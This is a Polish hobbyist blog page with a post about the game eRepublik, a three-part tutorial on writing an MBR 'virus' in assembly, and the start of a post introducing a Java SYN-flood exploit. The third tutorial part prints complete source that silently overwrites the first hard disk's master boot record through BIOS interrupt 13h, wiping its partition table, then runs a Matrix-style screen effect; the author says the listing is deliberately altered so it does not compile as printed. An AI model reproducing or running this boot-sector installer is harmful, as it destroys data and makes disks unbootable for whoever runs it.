Pokazywanie postów oznaczonych etykietą hacking. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą hacking. Pokaż wszystkie posty

wtorek, 21 lipca 2009

Polacy w ePolsce

Polityka nie jest tematem, który powinien gościć na tym blogu. Trudno jednak odmówić miejsca temu tematowi, jeśli w grę wchodzi MMO.

Natrafiłem na tę grę dzięki znajomemu i pierwotnie jak to ja podszedłem do niej sceptycznie. Ot znowu jakieś klikanie w przeglądarce, które pozornie przyniesie mi nieco korzyści w postaci rozrywki i budowania lichej więzi ze współplemieńcami jakiejś egzotycznej krainy targanej wiatrami odległej historii. Tym jednak razem czuję powoli, że nie miałem racji.

eRepublik jest grą tworzącą nieco inny rodzaj społeczności i więzi. Do świata gry politycznej, strategicznej, społecznej przeniesione są relacje społeczne świata rzeczywistego oparte na nacjach, narodowościach. Tutaj jednak znacznie łatwiej opowiedzieć się za którąś ze stron, a ponadto łatwo jest wziąć sprawy we własne ręce. Dostajemy w nie przecież narzędzia by czynić świat lepszym. Do dyspozycji mamy prasę, organizacje, partie polityczne i oczywiście wybory na wyższe i niższe stołki.

W świecie eRepublik (zwanym także eRep lub ER) dzięki wielu ułatwieniom wybory mogą odbywać się co miesiąc. O stałych datach obywatele przez 24h mogą iść do urny i oddać głos na swego kandydata. Nie każdy może stawiać krzyżyki, konieczne jest uzyskanie odpowiedniego poziomu, co odpowiada wiekowi w realu. Jednym się to podoba, innym nie, ale zyskujemy na każdym aktywnym graczu.

Pokrótki opis przeze mnie umieszczony nie koniecznie zachęci do eRepublik czytających. Pragnę tutaj wspomnieć o czymś, czego nie odczułem wcześniej w żadnej klikanej grze w przeglądarce. Mam tu na myśli żywą społeczność tworzącą więzi i stanowiącą aktywny organizm. Nie tylko istnieją relacje wewnątrz, ale także między narodowściami skutkujące paktami, sojuszami, a także oczywiście wojnami. W początkowej fazie gry, a w takiej właśnie jestem, nie ma wiele do roboty, więc można oddać się badaniu tekstów pisanych przez eObywateli w ramach eGazet, ale także na forach. Jest niesłychanie przyjemnym patrzeć jak to wszystko żyje. Polecam każdemu, komu nudzi się w realu tak na przykład przez pół godziny dziennie.

Jeśli nie podoba Ci się co dzieje się w realu, w politycznym burdelu, możesz zawsze zaczynając od prostego robola dojść do prezydentury pełnej sukcesów. eObywatele ePolski aktywnie uczestniczą w życiu politycznym, nie raz są świadomi swojej działalności, ale co wydaje się na codzień nieprawdopodobne swojej tożsamości narodowej i są w stanie jej bronić. Zachęcam do zwiedzenia tego świata. Nie naganiam, nie ciągnę na siłę. Wydaje mi się jednak, że większość inteligentnych znajdzie coś dla siebie w tym świecie.

EDIT:
Do tekstu dodane zostały reflinki. W ten sposób każdy nowozarejestrowany przez ten post, otrzyma należytą pomoc na starcie z mojej strony.

sobota, 30 maja 2009

ASM: pisanie własnego MBR cz.3

Przechodzimy już do końcowego etapu tworzenia naszego wirusa wygodnie zadamawiającego się w MBR. W poprzednich częściach opisany został schemat ideowy rozwiązania, oraz kod odpowiadający za efekt wizualny. Prosty efekt wizualny uzyskiwany przez prosty kod. W tej części napisany zostanie kod odpowiedzialny za instalację "wirusa" w MBR.

Osoby, które nie przeczytały poprzednich części, muszę zasmucić, gdyż grafika dodana na początek tego postu nie jest wynikiem działania wirusa. Taki efekt graficzny, moim skromnym zdaniem popartym nie tak wielkim doświadczeniem, wymaga więcej jak 512B kodu i danych. Oczywiście można napisać wirus korzystający z MBR i reszty dysku mogący stworzyć taki efekt, jednak to nie jest celem tego artykułu. Przypominam, że naszym celem jest kod wykorzystujący tylko MBR i pamięć, a więc w zasadzie nie robiący dużych szkód na dysku.

UWAGA!
Kod tu zamieszczony i jego opisy służą tylko i wyłącznie w celach edukacyjnych. Autor nie ponosi odpowiedzialności za niewłaściwe ich wykorzystanie, szczególnie niezgodne z prawem.

Skoro wyjaśniliśmy sobie już powyższe, to można przejść do sedna sprawy. Przypomnijmy, że nasz kod ma wykonać prosty algorytm zawierający tylko 3 operacje na najwyższym poziomie abstrakcji.
  1. sprawdź czy program jest zainstalowany
  2. zainstaluj program
  3. wyświetl zawartość pamięci
  4. powrót do 3.
W tej części zajmiemy się dwoma pierwszymi funkcjami. Są one stosunkowo proste, ale znacznie rozszerzają cały projekt. W zasadzie rozszerzają go na tyle i wprowadzają nieco nowej wiedzy na temat budowy MBR w systemach Windows, że można każdej z nich poświęcić oddzielną część. Aby się nie zanudzić nie będziemy tego jednak robić.

Rozpoznaj siebie

W systemach windows na dysku w MBR znajduje się struktura pozwalająca na odczytanie znacznej ilości informacji na temat struktury logicznej dysku. W strukturze tej znajduje się na przykład nazwa systemu, czy etykieta dysku. Aby sprawdzić, czy na maszynie zainstalowany jest nasz "wirus" najlepiej będzie posłużyć się właśnie tą strukturą. Użyjemy pola, które znajduje się na początku i zawiera nazwę systemu.

      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

Pole ma wystarczyć na zapisanie 8 znaków ASCII. Jak dla nas wystarczy aby miało 1B. Warto wybrać na wpisanie tam jakiś znak, który raczej się nie pojawi normalnie. Ja postawiłem na znak '?'. W zasadzie, to nieco więcej elementów wskazuje w strukturze na niepoprawny MBR. Nie ma w nim informacji o dyskach logicznych, przez co cały dysk od tego momentu będzie uznawany za obszar niesformatowany.

Zastosowanie całej struktury w tym przypadku nie ma wcale tak wielkiego sensu. W zasadzie tylko 2 pola wystarczą. 2 pierwsze pola. Można jednak rozszerzyć w przyszłości ten kod na tyle, aby kopiował główną część struktury z podstawowego MBR.

Czytamy z dysku

Aby móc sprawdzić obecność wirusa na dysku konieczne jest wczytanie MBR z dysku i porównanie jednego pola. Jak pamiętamy, do dyspozycji jest niemal cała pamięć operacyjna maszyny. W zasadzie miejsce do zapisania odczytanego MBR możemy wybrać dowolnie. jak pamiętamy sektor dla MBR znajduje się na samym początku dysku. Trzeba więc w odpowiedni sposób przygotować się do przerwania. Skorzystamy znowu z przerwania 13h z BIOS. Interesuje nas funkcja 02h. Dla funkcji przygotowujemy w:
  • ES:BX - adres bufora w pamieci
  • CS:DS - adres na dysku, ścieżka, głowica, sektor
Dla przerwania adres dyskowy danych trzeba upakować w rejestrach w nietypowy dość sposób. Polecam więc poczytać tutaj jak dokładnie to zrobić. Jako że czytamy z samego początku, nasze przygotowania są łatwe.

Przyjmujemy, że operacja czytania nie przyniosła nam żadnych błędów, była poprawnie zapisana i poprawnie przebiegła. W zasadzie, to jeśli nie, to co mamy z tym zrobić? Oczywiście jeśli kod jest błędny, to poprawić, ale jeśli wina leży po stronie dysku, to jedyne co nam pozostaje, to pominąć czytanie, pominąć pisanie i przejść do właściwego działania. Można jeszcze spróbować ponownie czytać z dysku. Błąd tutaj nie powinien się raczej pojawić, a jeśli się pojawi, to i tak nic na to nie poradzimy.

      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem

Po przeczytaniu z dysku, trzeba tylko porównać znak w strukturze i skoczyć dalej do wykonania kodu w odpowiednim miejscu. Czyli jeśli nie natrafimy na znak '?'. To przechodzimy do instalacji.

Instalacja

Tutaj wszystko wygląda prosto. Nawet prościej niż przy sprawdzaniu, czy wirus jest już obecny w systemie. Przygotowujemy się do przerwania 13h, funkcja 03h i wykonujemy je. Dla testów można jeszcze wypisać na ekran w odpowiednim miejscu znak jakiś jeśli zapisaliśmy poprawnie sektor. Po wykonaniu przerwania informację taką przechowuje AL.

Gotowy kod

Czas pochwalić się gotowym kodem. Nie chce mi się opisywać wszystkiego nazbyt dokładnie. Obawiam się, że zaraz jakieś script kidies zaczną irytować się, że nie działa, albo zaraz cały ten kod z powodu używania trafi na czarne listy jako wstrętny wirus. Jak dobrze, że nie jest zdolny się mnożyć na tym poziomie. Tak więc poniżej kod całego wirusa.

Przypominam, bo nie każdy może zauważył, kody celowo zawierają drobne zmiany. Zmiany te wprowadzam dość automatycznie, ponieważ napisałem sobie skrypt pomagający mi opublikować kod z formatowaniem na blogu. Kodu nie da się skompilować od razu nie dlatego, że jest zły, tylko dlatego, że został zmieniony. Proszę odszukać "błędy", nanieść poprawki i miłej zabawy. Dla ciekawostki powiem, że tak samo jak błędy powstają automatycznie, tak też mogą być automatycznie usuwane. Powodzenia :).

    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
      JMP SHORT cz_inst   ;skaczemy do poczatku kodu wlasciwego 

      
      brINT13Flag     DB      90H             ; 0002h - 0EH for INT13 AH=42 READ
      brOEM           DB      \'?       \'      ; 0003h - OEM ID - Windows 95B

      brBPS           DW      512             ; 000Bh - Bytes per sector
      brSPC           DB      8               ; 000Dh - Sector per cluster

      brResCount      DW      32              ; 000Eh - Reserved sectors
      brFATs          DB      2               ; 0010h - FAT copies
      brRootEntries   DW      0               ; 0011h - Root directory entries

      brSectorCount   DW      0               ; 0013h - Sectors in volume, < 32MB
      brMedia         DB      0F8H            ; 0015h - Media descriptor

      brSPF           DW      0               ; 0016h - Sectors per FAT
      brSPH           DW      63              ; 0018h - Sectors per head/track

      brHPC           DW      128             ; 001Ah - Heads per cylinder
      brHidden        DD      63              ; 001Ch - Hidden sectors

      brSectors       DD      6305985         ; 0020h - Total number of sectors
      brSPF32         DD      6153            ; 0024h - Sector per FAT (FAT32)

      brFlags         DW      0               ; 0028h - Flags (FAT32)
      brVersion       DW      0               ; 002Ah - FS Version (FAT32)

      brRootCluster   DD      2               ; 002Ch - Root start cluster (FAT32)
      brFSInfoSector  DW      1               ; 0030h - FS Info Sector (FAT32)

      brBackupBoot    DW      6               ; 0032h - Backup Boot Record
      brReserved              TIMES 6 db 0    ; 0038h - Reserved

      brShitter               TIMES 6 db 0    ; 003Bh - Unused filler??
      brDrive         DB      80H             ; 0040h - BIOS drive number

      brHeadTemp      DB      00H             ; 0041h - Head/temp number????
      brSignature     DB      29H             ; 0042h - Extended Boot Record sig.

      brSerialNum     DD      404418EAH       ; 0043h - Volume serial number
      brLabel         DB      \'HARDDISK   \'   ; 0047h - Volume label

      brFSID          DB      \'FAT32   \'      ; 0052h - File System ID

    cz_inst:
      MOV CX,0001h        ;numer sciezki i sektora do czytania

      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem
    instal:               ;instalacja wirusa do MBR
      XOR BX,BX

      MOV ES,BX
      MOV BX,start
      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV AX,0301h
      INT 13h             ;no to zapisujemy, nie sprawdzamy czy byl blad.
    print_mem:            ;wlasciwe dzialanie \"wirusa\"

      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX
      MOV ES,BX           ;przenosimy go do ES

      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX
      MOV AX,[ES:BX-50h]

      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      XOR CX,CX           ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 17798(4586h) mikrosekund
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      
      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

A tutaj jeszcze mały powrót do części pierwszej. Screen poniżej przedstawia menu przy starcie maszyny z dodanym "systemem" reprezentującym bootsector zapisany w pliku.


Przeczytaj:
ASM: pisanie własnego MBR cz.1
ASM: pisanie własnego MBR cz.2

Grafika pochodzi z Matrix code emulator

poniedziałek, 25 maja 2009

ASM: pisanie własnego MBR cz.2

Jak wspomniałem w poprzedniej części w tej postaram się wyjaśnić dlaczego rozpoczęcie prac nad MBR było trudne. A dokładniej czemu piekielne kompilatory ASM, które zawsze sprawdzały się dobrze, teraz postanowiły odmówić posłuszeństwa.

Największy problem to dyrektywa org. Bootloader to mały program (model tiny), a dokładnie aplikacja com (przynajmniej dla windowsowców). Istotne jest gdzie do pamięci ów kod jest ładowany przez wszechmocny BIOS. Kod z MBR ładowany jest pod adres: 0000:7C00h, a więc należy zadbać, aby po załadowaniu kodu CS:IP wskazywał dokładnie jego początek. Zadanie do trudnych nie należy, jednak TASM i MASM odmówiły posłuszeństwa napotykając dyrektywę org 7c00h. I to pomimo faktu dodania wszystkich innych potrzebnych tym kompilatorom głupot. No ni jak nie szło się z nimi dogadać.

Drugi problem polegał na architekturze. Tego to akurat za specjalnie nie rozumiem i wytłumaczenie może co najwyżej sprowadzać się do bo tak. Gdy natknąłem się na ten problem, to oczywiście rozwiązania szukałem po forach i innych takich zakamarkach. W zasadzie wyszło na to, że prawdopodobnie rozwiązanie nieco innego problemu rozwiązało i mój. Otóż linker z TASM'a zwracał mi jakiś dziwaczny błąd dotyczący segmentu stosu (którego nie deklarowałem), mówiący ogólnie, że nie może "opiekować się" 16b segmentami. Dyrektywa use 16/use 32 oczywiście nic nie zmieniła. Rozwiązaniem problemu było zostawić TASM32 i TLINK32 w spokoju, na rzecz starych dobrych TASM i TLINK. Zasmuciło mnie to, bo jednak chciałem skorzystać z nieco dłuższych rejestrów, ale zostałem zmuszony do użycia 16b.

Początek na początek

Każdy dobry projekt należy zaplanować. Przy tym kodzie trzeba przynajmniej główny przebieg zaplanować. Osobiście często sprowadzam to do bazgrolenia w zeszycie, albo na przypadkowych kartkach, tak więc nie zamieszczę schematu blokowego, którym się posłużyłem. Przy tak trywialnym zadaniu wystarczy jednak posłużyć się listą.
  1. sprawdź czy program jest zainstalowany
  2. zainstaluj program
  3. wyświetl zawartość pamięci
  4. powrót do 3.
Proste. Teraz można jeszcze rozwinąć poszczególne punkty. W tym arcie pozwolę sobie jednak zająć się wyłącznie punktem 3. W zasadzie stworzenie odpowiedniego kodu dla Niego zajęło mi nie mało czasu, nawet gdy już uporałem się ze środowiskiem.

Twój prywatny Matrix

Rozwińmy od razu punkt 3 do odpowiedniego algorytmu:
  1. załaduj segment pamięci ekranu do ES
  2. wyzeruj AX,BX,DS
  3. wyzeruj CX
  4. wczytaj do AH bajt spod adresu [DS:BX]
  5. do AL wstaw bajt atrybutu
  6. zapisz pod adres [ES:CX] zawartość akumulatora
  7. zwiększ BX
  8. sprawdź czy BX = 0, jeśli NIE przejdź do 10
  9. zwiększ DS o 1
  10. zwiększ CX o 2
  11. sprawdź czy CX>0FA0h jeśli TAK wróć do 3 , jeśli NIE wróc do 4
Powyższy kod to zejście o jeden poziom abstrakcji w całym naszym kodzie. Można uznać, że nawet o 2 ponieważ pokusiłem się o podanie nazw konkretnych rejestrów i konkretnych wartości. Przyznam szczerze, ta pierwotna postać algorytmu choć jest dalej realizowana przez kod, wydaje się w tej chwili aż nazbyt abstrakcyjna. Ale to chyba tylko dlatego, że uzyskałem końcowe rozwiązanie.

W pierwszym pseudokodzie cały ten algorytm został określony jako wypisanie pamięci. Na wszelki wypadek wyjaśniam więc, że polega on na odczytywaniu bajtów z pamięci i wypisywaniu ich kolejno na ekran w trybie znakowym. Całość sprowadza się do jednej pętli z dwoma licznikami: jednym przesuwanym po pamięci głównej i drugim przesuwanym po pamięci ekranu. Tutaj taka mała dygresja. nie każdy zdaje sobie sprawę, że w pewnym momencie wyświetlimy zawartość tego do czego dokładnie piszemy. Dziwne zapętlenie, ale świat dalej istnieje.

Pierwszy kod - trywializm

Na razie jeszcze nie do końca w ramach tego projektu warto podać jakikolwiek kod który może posłużyć do pisania MBR. Dokładnie to jest to baza wyjściowa dla tego kodu.

org 7C00h
start:
times 510 - ($ - start) db 0 ; dopełnienie do 510 bajtów
dw 0aa55h ; znacznik

Proste i trywialne. Całość kompiluje się do 512B aczkolwiek na koniec będzie zawierało prawie same 0. Jest to jednak baza do dalszej pracy. Jak widać zawiera wspomnianą wcześniej dyrektywę org. Znacznie istotniejsza jest jednak końcówka. Bootsector ma dokładnie 512B długości. Aby plik miał dokładnie tyle po kompilacji dodajemy przedostatnią linię, która uzupełnia program o bajty 00h. Dopełnienie jak widać jest do 510B, a to dlatego, że BootSector musi się kończyć odpowiednio. W ostatniej linii zostaje dodany 2Bajtowy znacznik końca. Razem mamy już 512B.

Pisanie po ekranie

Pierwszy problem na który się natykamy wykonując dokładnie obmyślony algorytm to pisanie na ekran. Przyjmijmy, że rozmiar ekranu wyznacza rozmiar "strony" w pamięci. W końcu przecież w ten sposób pamięć jest wypisywana na ekran. Domyślnym jest aktualnie tryb 80x25 i tego się trzymamy. Każdy znak na ekranie opisany jest przez 2 Bajty. Oznacza to, że mamy do dyspozycji 4000B na jedną "stronę". Stąd z resztą wartość 0FA0h. Problem polega na tym, że gdy dojdziemy do końca ekranu, wracamy na jego początek. Widzimy efekt nasuwania się na siebie stron. Po zapisaniu jednej zaczyna ją przesłaniać nowa.

Drugi problem to stosunkowo duża prędkość wyświetlania. Nie bardzo można zobaczyć co w ogóle się tam pojawia. Ekran szybko migocze i można co najwyżej dostać ataku epilepsji na to patrząc.

Trzeci problem to bajt atrybutu i sama zawartość akumulatora. Trzeba zawczasu ustalić jakie ma być wyświetlanie, aby te dane przygotować.

Problemami zajmiemy się w odwrotnej kolejności. Wszystko dlatego, że jest to znacznie łatwiejsza kolejność. Poza tym chodzi też o czas jaki rozwiązanie kolejnych problemów pochłonęło.

Bajt atrybutu

Miał być Matrix(TM), to będzie Matrix. Aby to się udało potrzebny nam jaskrawy zielony kolor na litery i czarne tło. Czarne tło oczywiście jest domyślne. Kolorowy tryb tekstowy, który w komputerach PC po starcie jest domyślny używa następującej struktury bajtu atrybutu:
  • 7 - Blink - migotanie
  • 6-4 - RGB Background - kolor tła
  • 3 - Intensity - intensywność
  • 2-0 - RGB Foreground - kolor liter
Wartość bajtu atrybutu dla nas:
00001010b==0Ah
Pisząc do pamięci musimy wiedzieć w jaki sposób dane są w niej przechowywane. Architektura PC przewiduję metodą Little Indian. Oznacza to, że młodszy Bajt w słowie przechowywany jest jako pierwszy, a starszy jako drugi. Jeśli o tym zapomnimy, to spotka nas niemiła niespodzianka. Wprowadza to pierwszą zmianę do algorytmu. Pozornie tylko kosmetyczną, ale pozwalającą na odpowiednie wyświetlanie. Bajty w akumulatorze należy zamienić. Bajt z pamięci ładujemy do AL, a atrybuty do AH.

Poczekajmy chwilę

Zajmijmy się problemem bardzo szybkiego migotania aplikacji. Nie trudno domyśleć się, że wyświetlanie realizowane jest tak szybko, jak szybko procesor jest w stanie przekazać dane między obszarami pamięci i kontroler ekranu wysłać je do monitora. To stanowczo za szybko dla ludzkiego oka. Z pomocą przychodzi przerwanie 15h BIOS. Dokładny jego opis można przeczytać na przykład w opisie do Emu8086. Interesuje nas Funkcja 86h, która pozwala na wstrzymanie aplikacji na CX:DX mikrosekund.

Wyliczmy odpowiedni czas wstrzymania. Ludzkie oko rejestruje około 24klatek na sekundę. w takim razie jedna klatka jest odrysowywana co ~41667 mikrosekund. Odrysujmy więc w jednej klatce cały wiersz, aby animacja była dość szybka i dość płynna. W ciągu sekundy wyświetlanie przesunie się o cały ekran. czas wstrzymania to 521us==209h. Wpisujemy kolejno do CX:=0000,DX:=0209h.

Należy pamiętać aby przed wywołaniem przerwania zapamiętać stan procesora i przywrócić go po jego zakończeniu. Dane potrzebne dla przerwania są tymczasowe i nie muszą zostać przez nas przechowane. Aby nie wybierać konkretnych rejestrów do zachowania lepiej posłużyć się rozkazami PUSHA i POPA.
Płynne pisanie
Na razie kod powoduje zasłanianie poprzednio wypisanej strony kolejną. Trzeba to jakoś zmienić. Moje rozwiązanie sprowadza się do przesuwania pamięci ekranu zamiast jej nadpisywania w całości. Pozwolę sobie opisać końcowe rozwiązanie zamiast całego procesu dochodzenia do niego. Był on z resztą dość długi i powodował sporo błędów po drodze.
  1. przesuń "obraz" o 80 znaków w prawo
  2. ustaw CX na 160
  3. pobierz znak z pamięci do AL
  4. wstaw bajt atrybutu do AH
  5. podstaw pod BX:=160-CX
  6. zapisz akumulator: [ES:BX]:=AX
  7. zmniejsz CX o 2
  8. jeśli CX!=0 wróć do 3
Przed wykonaniem tego algorytmu także trzeba zachować stan rejestrów. Najlepiej znowu użyć PUSHA i POPA, aby nie pomylić się w kolejności operacji, a także nie zapisać za mało.

Łatwo zauważyć że teraz od razu wypisywana jest cała linia z pamięci podczas jednego przebiegu głównej pętli programu. Wróćmy więc na chwilę do czasu wstrzymania aplikacji. Sleep na 521us to teraz za mało. Aplikację trzeba wstrzymać na około 80000us. Ja osobiście ustawiłem na 83334, czyli 14586h. Zapisujemy CX:=0001h, DX=4586h i wywołujemy przerwanie 15h.

Jakoś pusto tutaj

Pamięć komputera po jego uruchomieniu nie jest wypełniona zerami. Po pierwsze załadowany został już do niej BIOS. Po drugie nasz BootSector. Po trzecie stan większości komórek jest nieokreślony. Na ogół są tam losowe wartości, mogą tam nawet być śmieci z pozostałej sesji (nawet 15 minut po wyłączeniu stan pamięci potrafi się utrzymać). Dane te można więc odczytać i wyrzucić na ekran. Niestety w moim przypadku napotkałem całą masę pustych komórek. Pustych czyli wyraźnie zawierających same 00h. Zapewne właśnie dlatego, że kod testowany był pod maszyną wirtualną, a nie rzeczywistą. Uznałem jednak, że w prawdziwej sytacji może stać się podobnie, więc dodałem do aplikacji generator liczb pseudolosowych.
  1. DL:=AL
  2. DX+=10111101B
  3. DX+=BX (BX zawiera aktualny offset w pamieci)
  4. wykonaj obrót cykliczny na DX o 4 w prawo (ROR DX,04h).
  5. wynik odczytaj z DL
Jak widać seed dla generatora stanowi suma BX+AL. Jest ona na tyle zmienna i zależna od stanu aktualnego, że trudno przewidzieć jaki będzie wynik generatora. Doświadczalnie powiem, że okres ergodyczności ciągu kolejnych liczb losowych z generatora jest dostatecznie duży. Matematycznie nie zostało to jednak zbadane.

Przed wykonaniem kodu generatora zapamiętujemy stan maszyny. Tak jak już poprzednie razy. Generator oczywiście trzeba zapuścić dla każdej komórki o wartości 00h. Jak uzyskamy 00,h albo 32h, to się nie martwimy. Kod Matrix'a też miał sporo pustych przestrzeni.

Gotowy produkt

Kod jednego punktu głównego algorytmu udało mi się sprowadzić do 66 linii razem z komentarzami. Co ważne sam kod waży zaledwie 95B! Założę się, że można go skompresować jeszcze bardziej i uprościć, aby wykonał się szybciej.
    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
    cz_inst:
    instal:

    print_mem:            ;wlasciwe dzialanie \"wirusa\"
      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX

      MOV ES,BX
      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX

      MOV AX,[ES:BX-50h]
      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      MOV CX,0001h        ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 83334(14586h) mikrosekund
      XOR AX,AX
      MOV CX,AX
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

Starałem się opisać wszystko co można było w samym kodzie. Znajomość ASM jest wymagana. Poniżej odpalony kod na maszynie w VirtualBox.

Okno VirtualBox z uruchomionym "wirusem".
Na zakończenie tej części małe wyjaśnienie. W tekście zawarte jest dość mało gotowych przykładów kodów ASM głównie dlatego, że już mi się gotowego pliku na kawałki kroić nie chciało. Lenistwo jest straszne. Opisałem wszystko na tyle na ile mogłem, tak aby nawet początkujący był w stanie te fragmenty kodu napisać samodzielnie. Mam też nadzieję, że cały kod w jednym miejscu był w stanie rozjaśnić komuś w głowie dostatecznie.

W następnej części postaram się opisać dwa pozostałe punkty głównego algorytmu. Ich napisanie małpią metodą zajmuje piekielnie dużo czasu. Niestety każdy test może oznaczać uszkodzenie maszyny wirtualnej i konieczność stawiania na niej na nowo OS.

Do przejrzenia (Źródła):

niedziela, 29 marca 2009

Java: SynFlooder

Protokoły sieciowe tworzone lata temu nie były projektowane zgodnie z zasadą ograniczonego zaufania. Przez w stosunkowo krótkim czasie udało się znaleźć ich podatności. Aktualnie najczęściej stosowany protokół sieciowy TCP wbrew pozorom posiada ich kilka.

Każda podatność oznacza atak na dany protokół. W tym poście nie będę jednak zbyt dokładnie skupiał się na mechanizmie ataku SYN, tylko postaram się opisać Exploit wykonujący ten atak napisany w języku Java.

Wiele osób uważa, że język przeze mnie użyty do takiego programowania się nie nadaje. Z pomocą przychodzi jednak google i kreatywność wielu ludzi. Z języków niższego poziomu znane jest pojęcie RAW Socket. W skrócie jest to API umożliwiające operacje bezpośrednio na pakietach i urządzeniach sieciowych. Atak z wykorzystaniem luki w protokole sieciowym wymaga niestety (i na szczęście) ingerencję w sposób komunikacji. Potrzebujemy więc zabawić się samymi pakietami.

Jak już wspomniałem inny ludzie przychodzą z pomocą. Dla Javy istnieje biblioteka dostarczająca RAW Socket'y. Jest to Jpcap. Pobrać go można stąd: jpcap download. Biblioteka wydana jest na licencji LGPL, co jest dla nas niezwykle korzystne. Dostarcza ona dla nas wszystkie niezbędne funkcje.

